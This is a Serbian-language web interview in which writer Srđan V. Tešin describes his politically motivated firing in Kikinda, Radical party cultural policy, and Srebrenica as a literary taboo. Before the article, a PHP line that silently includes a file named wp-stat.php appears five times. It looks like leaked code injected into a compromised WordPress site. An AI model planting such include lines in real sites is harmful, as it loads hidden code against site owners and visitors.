@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); SRĐAN V. TEŠIN, KNJIŽEVNIK: Ekskomunikacija koja ne prestaje – Nedim Sejdinović

SRĐAN V. TEŠIN, KNJIŽEVNIK: Ekskomunikacija koja ne prestaje

Jedan od najznačajnijih mladih srpskih književnika, Kikinđanin Srđan V. Tešin nedavno je ostao bez posla. Zašto? Hvala na pitanju, politički razlozi su u pitanju. Tešin je nedavno objavio roman “Kroz pustinju i prašinu” (Stubovi kulture), a autor je i knjiga: “Coated brain/Pohovani mozak” (drama), “Sveto Trojstvo Georgija Zecowskog” (poezija), “Sjajan naslov za pantomimu” (priče), “Antologija najboljih naslova” i “Kazimir i druge priče” (romani). Jedan je od retkih Evropljana koji je član kanadskog udruženja pisaca, pokretač i urednik je časopisa “Severni bunker”, koji nažalost više ne izlazi…

Kikinda je, zahvaljujući i tvom angažmanu, poslednjih godina prepoznavana kao vrlo aktivan urbani i kulturni centar, koji je svojevremeno ovenčan i nagradom za toleranciju. Sada je, međutim, tvoj grad poznat po vladavini radikala, kao mesto koje proglašava “personom non grata” ličnosti koje imaju drugačiji politički stav. Otkud takva promena, ta kontradikcija?

– Biću iskren pa ću priznati da ovo pitanje prevazilazi moje spekulativne moći. Prosto rečeno, Kikinda je samo jedan od vojvođanskih gradova zavedenih površnom ali bukačkom politikom i ideologijom radikala. Prethodna dosovska vlast nije vodila populističku politiku, iako su se neki političari neukusno dodvoravali građanima, ali se i ona, zbog specifičnog sastava, bavila samom sobom vodeći stranačku kadrovsku politiku kao da je to najbitnije od svega. Mnogi nekompetentni ljudi u opštinskoj administraciji, medijima, kulturi, privredi… dobili su priliku da vode resore kojima nisu bili vični. Narod, ta amorfna glasačka mašina, pamti samo neuspehe. Pamte se imena direktora ili funkcionera koji su se šepurili gradom kao da su ga lično oni oslobodili. Obični ljudi su došli u situaciju da nakon Petog oktobra kažu: “Sve je isto – samo njega nema!” Poturice su prethodnoj vlasti došle glave kao što će i ovoj. Ipak, današnji stepen zlobe i revanšizma nije viđen prethodnih godina. Ruku na srce, ni prošla vlast nije imala rešenje za ključno mesto u opštinskoj administraciji kakvo je resor kulture i informisanja, ali ovo danas se razlikuje od onog od juče kao oko od dupeta. Restauracijom nakazne nacionalističke i diskriminatorske politike Kikinda se vratila u devedesete. Pogledajte samo poteze lokalnih moćnika u kulturi: nema više onog po čemu je grad prepoznavan kao urbani i kulturni centar. Nema više časopisa “Severni bunker”, edicije “Manufaktura za popravku knjiga”, nema ekskluzivnih koncerata i gostovanja, nema više autorskih emisija na radiju ili autora od integriteta u redakcijama za kulturu… Ali zato imate opštinske medije čija je osnovna urednička koncepcija da što sočnije pljuju po svima onima koji ne podržavaju lokalnu vlast ili koji misle drugačije. Finansiraju se lokalne književne zamlate, organizuju tribine onih kojima je pre mesto u ludnici nego za katedrom i dovode – i dobro plaćaju iz opštinske kase – pevaljke i Kozaci s Dona…

Uvek je problem, posebno u zemljama kao što je Srbija, biti umetnik ili književnik u malom mestu. Da li si zbog toga nailazio na prepreke ili si uspeo da tu “manu” pretvoriš u svojevrsnu prednost?

– Nedavno sam u članku za nedeljnik “Vreme” citirao deo iz intervjua koji sam dao “Feral tribjunu”. Tada sam na pitanje Tatjane Gromače: “Autor ste romana ‘Kazimir i drugi naslovi’, koji je svojevrsna parodija života u Miloševićevom sistemu… Kako je piscu takvog romana živjeti u maloj sredini kao što je Kikinda, osjećate li kakve posljedice?”, odgovorio da sam deset godina živeo u Beogradu i da zbog toga nisam bio ništa bolji pisac nego danas. Mišljenja sam da trenutno ne postoje veliki književni centri kao što je to nekada bio slučaj. Ponekad se pitam da li postoji književnost u ovoj zemlji, sudeći po prostoru koji knjiga dobija u medijima. Više se pažnje obraća na pse lutalice nego na socijalni i društveni status pisaca u Srbiji. Uistinu je teško odupreti se provincijskom načinu mišljenja, dakle, mediokritetskom i konzervativnom. Umetniku ili književniku kom pođe za rukom da prevaziđe sopstvene strahove, u isto vreme otvaraju se vrata za izlazak iz provincijske učaurenosti, ali mu zato okreću leđa oni koje je ostavio iza sebe, a koji veruju da su mu jednaki po svemu osim po udelu sreće. Da citiram Jozefa Rota: “Moj zavičaj je tamo gde se dobro čini, a zavičaj koji ništa od dobrog ne čini nije zavičaj.” Imam li razloga da se radujem tome što živim u gradu i delim životni i radni prostor sa bitangama koje su me oterale na ulicu bez imalo griže savest?

Koliko ti je pomogao kontekst aktivnog i urbanog kulturnog centra, koji sam spomenuo?

– Nisam postao autor “Stubova kulture” i dobitnik stipendije “Borislav Pekić” zato što dolazim iz “aktivnog i urbanog kulturnog centra” nego, verovatno, zbog toga što pišem knjige koje, ako dozvoljavate, imaju štofa. Činjenica je da se oko “Kikindskih” i Doma omladine – za vreme Miloševićeve vlasti – okupila sjajna ekipa ljudi koji su imali hrabrosti, volje i znanja da od usporene i uspavane Kikinde načine mesto interesantno za življenje. Zabavljao sam se uređujući “Severni bunker”, “Manufakturu za popravku knjiga” ili stranice kulture u “Kikindskim”. Nažalost, i pre nego što su radikali preuzeli vlast u Kikindi, “naša stvar” je do te mere bila bušna da su mnogi ljudi sa kojima sam sarađivao otišli iz Kikinde ili su prestali da aktivno učestvuju u kulturnom i društvenom životu grada. Politike nam je svima bio pun kufer. Postao sam žrtva sopstvene zablude da je bolje zavući glavu u pesak i baviti se svojim poslovima. Ali kako tu promenu u mišljenju objasniti onima koji su u Kikindu i dolazili zbog toga što su u njoj videli spas od osrednjosti? Trebalo bi da stavimo prst na čelo i da se zapitamo koliko smo sami doprineli tome da Kikindom danas zavladaju oni kojima ne bismo poverili ni nacrtanu gusku da nam čuvaju.

Nedavno si dobio otkaz u kikindskom Domu omladine. Razlozi su političke prirode, a reakcije su bile veoma ubedljive: protesti kulturne javnosti i udruženja. Šta se u međuvremenu dogodilo, da li ti je neko ponudio konkretnu pomoć? Da li, u krajnjem, možda razmišljaš da odeš iz Kikinde?

– Meni su u kikindskom Domu omladine uručili otkaz iz krajnje bizarnih razloga: Upravni odbor u kome sede student, privatni preduzetnik i fudbalski trener, uz saglasnost lokalnih radikalskih glavešina, odlučio je da posao mogu da imaju samo “njihovi”, misli se na užu i širu rodbinu, kumove i prijatelje. Slučaj je postao političke prirode onda kada su se setili da sam ja, recimo, u “Danasu” ili “Dnevniku” oštro kritikovao gradonačelnika Kikinde zbog njegove sramotne odluke da Natašu Kandić proglasi za “nepoželjnu osobu”. Rekoh tada da su probuđena sva zla iz devedesetih, uključujući i spiskove nepoželjnih. Posle te izjave i sam sam se našao na jednom takvom spisku. Ali nisam jedini, možda sam medijski najatraktivniji, ali samo u Domu omladine je otkaz dobilo nas četvoro nepodobnih. I mene su iznenadile žestoke reakcije Srpskog književnog društva, srpskog PEN centra, regionalne književne asocijacije Literarni Konzorcij i Pučkog otvorenog učilišta iz Umaga. Moram priznati da su mi potpisnici tih saopštenja i reagovanja pomogli da povratim veru u ljude. Reagovali su i pojedinci i u medijima, ali i privatno. Neki su išli dotle da su mi nudili i ušteđevinu koju su teškom mukom napabirčili, drugi su, opet, pokušali da mi daju pravi i pravni savet. Ne osećam se usamljenim i ostavljenim na cedilu. Naravno, izuzev mojih hrabrih prijatelja iz Kikinde, koji rade u najrazličitijim medijima i koji su izveštavali o slučaju duhovito nazvanim “Ćelava pevačica” (jer su se nepismeni, ali zlobni članovi UO Doma omladine sprdali “činjenicom” da sam jednu predstavu nazvao “Ćelava pevačica”?!), niko se od lokalnih umetničkih udruženja ili intelektualaca nije oglasio po ovom pitanju. Nisam lud, znam da je danas eksluzivna stvar imati posao, zbog toga i razumem zbog čega ćute. A šta ako sutra oni dođu na red? Šta ako se nađu na spisku nepoželjnih? Najžalosniji su oni umetnici-konvertiti koju su prodali veru za večeru i obreli se u radikalskom taboru. I sam se čudim tome koliko se nisko može pasti… Ipak, ne nameravam, barem zasad, da napuštam Kikindu. Jedino što znam jeste da radikalima neću svojim radom davati legitimitet.

Ovdašnja kultura vrlo jednostavno i bez griže savesti ekskomunicira ljude ukoliko ne žele da pristanu na određena pravila autističnog, premodernog pogleda na svet. Setimo se samo Bore Ćosića, Mirka Kovača, Vidosava Stevanovića, koji su faktički gumicom izbrisani sa mape srpske kulture! Kako ti gledaš na to?

– Nažalost, malo je hrabrih pisaca poput Saše Ilića koji će otvoreno govoriti o tim nepravdama. Naša država i većina institucija postoje u nedefinisanom obliku, zašto onda očekivati da su stvari za dokone ljude kao što je kultura bolje rešene? Bez obzira na to što imamo na hiljade književnika i više od trista književnih nagrada, mi kao narod imamo malo odgovornih pisaca. Malo je onih koji će reći: “Ne, ja ne pristajem na autizam i samodovoljnost!” Sve dok razni crnčevići u udarnom terminu na državnoj televiziji dobijaju priliku da govore o pogubnosti postmodernizma, nema nama pomoći. Sve mi se čini da će stopama Ćosića, Kovača i Stevanovića krenuti mnogi iz moje generacije pisaca ili mlađi.

Gde se nalazi granica koju pisac ne sme preći u pravcu mašte ili stvarnosti? Odnosno, kada sama stvarnost počinje da opterećuje književno-umetničko delo, a kada odsustvo stvarnosti? Otkud toliko književnika u Srbiji koji nemaju kritični ili bilo kakav stav prema stvarnosti?

– Mile Stojić je, da opet citiram “Feral Tribjun”, mišljenja da će najbolji roman o Srebrenici napisati jedan Srbin. Ima tu duboke istine, ali sam ja, ipak, mišljenja da će najbolji roman o Srebrenici napisati neki dobar pisac, jer dobre knjige pišu dobri pisci, pa bili oni Eskimi ili Srbi. Međutim, u našoj književnosti Srebrenica je tabu-tema, jer je to i politička tabu-tema, i to je naša stvarnost “koja nas opterećuje”. Mi se moramo, kad-tad, zapitati kako je došlo do toga da smo dozvolili da u naše ime zlikovci oblikuju stvarnost koje se danas stidimo. Nakon masakra u Srebrenici trebalo je da izađu milioni na ulice i da osude zločin neviđen u posleratnoj istoriji Evrope. Danas se šačici onih koji su pravovremeno digli glas pridružuju i oni koji su ćutali kao partizani u bazi čekajući da dođu Rusi na tenkovima da ih oslobode muka. Posle se ispostavilo da su ti oslobodioci više pljačkali i silovali nego Nemci za vreme okupacije. U romanu “Kroz pustinju i prašinu” ja sam pričao o svojim danima provedenim u vojsci i rezervi JNA u Bihaću. Ja sam mirisao rat. I nisam jedini iz moje književne generacije. Ne treba niko, pored onoga što sam doživeo, da mi soli pamet o tome da li mi treba da se bavimo svojim ili tuđim govnima. O tome treba pisati, ali napisano treba i čitati. To će biti prava lektira za one neljude koji su u stanju da izgovore ili napišu parolu: “Nož, žica, Srebrenica!”

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.